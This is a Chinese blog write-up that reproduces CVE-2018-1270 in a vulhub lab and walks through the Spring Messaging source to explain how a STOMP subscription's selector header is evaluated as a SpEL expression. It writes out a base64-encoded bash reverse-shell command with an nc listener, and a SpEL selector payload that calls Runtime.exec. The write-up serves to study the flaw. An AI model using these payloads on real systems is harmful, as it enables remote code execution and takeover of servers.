1. 程式人生 > 其它 >記一次曲折的CVE-2018-1270復現分析

記一次曲折的CVE-2018-1270復現分析

 前言

 前兩天接到朋友對某個授權目標的漏掃結果,也算是初次接觸到這個漏洞,就想著順手分析一下復現一下,因為分析這個漏洞的文章也比較少,所以剛開始比較迷,進度也比較慢。

 漏洞復現

 使用vulhub搭建環境,下載vulhub

git clone https://github.com/vulhub/vulhub.git

 spring目錄下有docker映象直接啟起來

sudo docker-compose up -d

 訪問8080埠即可檢視

 環境搭建ok,其實這裡使用構造的payload不知道為什麼不可以,稍後嘗試,先使用exp去執行,在環境中剛好有exp,我們只需要修改目標ip

 修改執行的命令

 執行EXP

 進入docker容器檢視是否成功生成資料

ocker exec -it 1f699e14e /bin/bash

 驗證EXP成功利用,這裡嘗試一下反彈shell,在另一臺終端監聽一個埠

nc -lvp 9999

 修改EXP

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMTQuMjUxLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

 得到容器的shell

 由於線上編碼的平臺不能使用,所以需要自己做一下base64的編碼然後再解碼,但是這裡為什麼直接反彈的shell不能夠執行呢?

 是因為管道符、輸入輸出重定向,只有在bash環境下才能用。由於專案環境為Java環境不支援管道符、輸入輸出重定向等。重定向和管道符的使用方式在正在啟動的程序的中沒有意義。例如ls > 1.txt 在shell中執行為將當前目錄的列表輸出到命名為 1.txt 。但是在 exec() 函式的中,該命令為解釋為獲取 > 和 1.txt 目錄的列表。

 下載原始碼

wget https://github.com/spring-guides/gs-messaging-stomp-websocket.git

 新建專案匯入pom.xml檔案搭建環境,配置配置檔案

 執行本地已搭建

http://127.0.0.1:8080/

 本地搭建目的是方便除錯。

 修改程式碼位置

src->main->resources->static->app.js

 修改connect方法

function connect() {
  var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
  var socket = new SockJS('/gs-guide-websocket');
  stompClient = Stomp.over(socket);
  stompClient.connect({}, function (frame) {
      setConnected(true);
      console.log('Connected: ' + frame);
      stompClient.subscribe('/topic/greetings', function (greeting) {
          showGreeting(JSON.parse(greeting.body).content);
      },header);
  });
}

 儲存後重新執行,Websocket連線,send傳送任意資訊即可觸發calc.exe

 分析

 本地windows的觸發條件更能清楚的理解,exec中程式碼執行的條件是由於建立socket通訊之後傳送資訊的時候觸發的,這裡通過下斷點來除錯

 首先先了解幾個概念,沒有java框架開發經驗的話確實很讓人頭疼,SpEL表示式,是Spring表示式的簡寫,能夠以一種強大而簡潔的方式將值裝配到Bean屬性和構造器引數中,在這個過程中所使用的表示式會在執行時計算得到值。簡單理解就是利用簡單的表達形式來實現操作。

 SpEL支援如下表達式:

  • 基本表示式:字面量表達式、關係,邏輯與算數運算表示式、字串連線及擷取表示式、三目運算及Elivis表示式、正則表示式、括號優先順序表示式;

  • 類相關表示式:類型別表示式、類例項化、instanceof表示式、變數定義及引用、賦值表示式、自定義函式、物件屬性存取及安全導航表示式、物件方法呼叫、Bean引用;

  • 集合相關表示式:內聯List、內聯陣列、集合,字典訪問、列表,字典,陣列修改、集合投影、集合選擇;不支援多維內聯陣列初始化;不支援內聯字典定義;

  • 其他表示式:模板表示式。

 STOMP協議

 STOMP是一個簡單的可互操作的基於幀的協議, 作用於中間伺服器在客戶端之間進行非同步訊息傳遞,STOMP協議基於TCP協議,類似於HTTP協議,使用了以下命令:

CONNECT
SEND
SUBSCRIBE
UNSUBSCRIBE
BEGIN
COMMIT
ABORT
ACK
NACK
DISCONNECT

Ctrl+N

 根據披露的漏洞位置,直接搜尋問題類DefaultSubscriptionRegistry

 在Protected屬性addSubscriptionInternal方法中,定義了selectorHeaderInUse的屬性為true

 95行的時候把四個引數,sessinId,subsId,destination(訂閱地址("/topic/greetings")以及expression新增進subscriptionRegistry屬性中。

 app.js修改的程式碼位置為

var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};

 private屬性中的filterSubscriptions方法在什麼時候會觸發呢?下斷點除錯會發現,在send傳送資訊的時候會傳入message引數,這個時候就會呼叫前端傳入的selector構造的內容即SpEL表示式的內容,從第二種的復現方式來看就是這樣的,但是在除錯的時候正常的利用是首先觸發

 118行呼叫findSubscriptionsInternal函式

ctrl+N向上查詢函式

 在AbstractSubscriptionRegistry類中找到了在滿足else的時候呼叫了findSubscriptionsInternal函式,可能在這裡也許有師傅有點困惑,在這裡我們需要明白的是引數destination(訂閱地址)和引數message(含有SpEL表示式即payload)的內容。

 但是這裡有個疑問,那麼哪裡利用到了STOMP協議的內容呢?

 上文提到了STOMP協議的命令,裡面涉及到的SUBSCRIBE命令,在SUBSCRIBE命令下selector頭值會作為表示式儲存,在實現addSubscriptionInternal方法的方法生成sessionID的時候表示式已經實現了儲存。

 這個時候就很明顯了,seesionid的生成就涉及到了websocket實現客戶端和伺服器之間的互動

 到這裡分析就結束了,但是函式呼叫以及漏洞觸發的原因已經分析的比較清楚了。

 小結

 Java的東西忘記的差不多了,IDEA的快捷鍵都給忘了,突然分析起來很頭大,可參考的內容也比較少,走的坑也比較多吧,有問題的地方歡迎師傅們指正。

 參考文章

https://mp.weixin.qq.com/s/9ZHopkDK8aVzFPrSOEgOVg

https://mp.weixin.qq.com/s/K56p8PkyrxmsZ1holFbh2Q

https://www.jianshu.com/p/ae3922db1f70 

更多靶場實驗練習、網安學習資料,請點選這裡>>